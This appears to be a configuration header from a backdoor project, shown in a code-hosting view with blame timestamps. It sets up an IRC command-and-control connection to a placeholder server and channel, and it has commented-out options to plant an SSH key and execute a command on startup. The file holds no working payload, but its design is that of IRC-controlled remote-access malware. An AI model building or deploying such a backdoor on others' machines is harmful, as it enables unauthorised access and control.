backdoor/include/cfg.h

48 lines
690 B
C
Raw Normal View History

2024-05-07 13:00:33 +00:00
#ifdef MAIN_C
typedef struct {
int use_ssl;
char *ip;
int port;
char *pre_cmd;
char *channel;
char *channel_key;
} SERVER;
/* Client settings */
#define CFG_NICKLEN 7
SERVER servers[] = {
{1, "irc.ipv4.server", 6697, NULL, "#channel", NULL}
};
/*
* Irc default ports:
* 6667 - unencrypted
* 6697 - connection with ssl
*/
#endif
/* Backdoor settings */
#ifdef BACKDOOR_C
/* Uncomment if you want to enable option */
/* #define CFG_SSH */
2024-05-12 09:47:02 +00:00
/* #define CFG_CMD */
2024-05-07 13:00:33 +00:00
2024-05-12 09:47:02 +00:00
/* Will start after startup */
2024-05-07 13:00:33 +00:00
#ifdef CFG_SSH
2024-05-12 09:47:02 +00:00
/* Writes your ssh key */
2024-05-07 13:00:33 +00:00
const char *ssh_key = "";
#endif
2024-05-12 09:47:02 +00:00
#ifdef CFG_CMD
/* Execute command */
const char *cmd = "";
#endif
2024-05-07 13:00:33 +00:00
#endif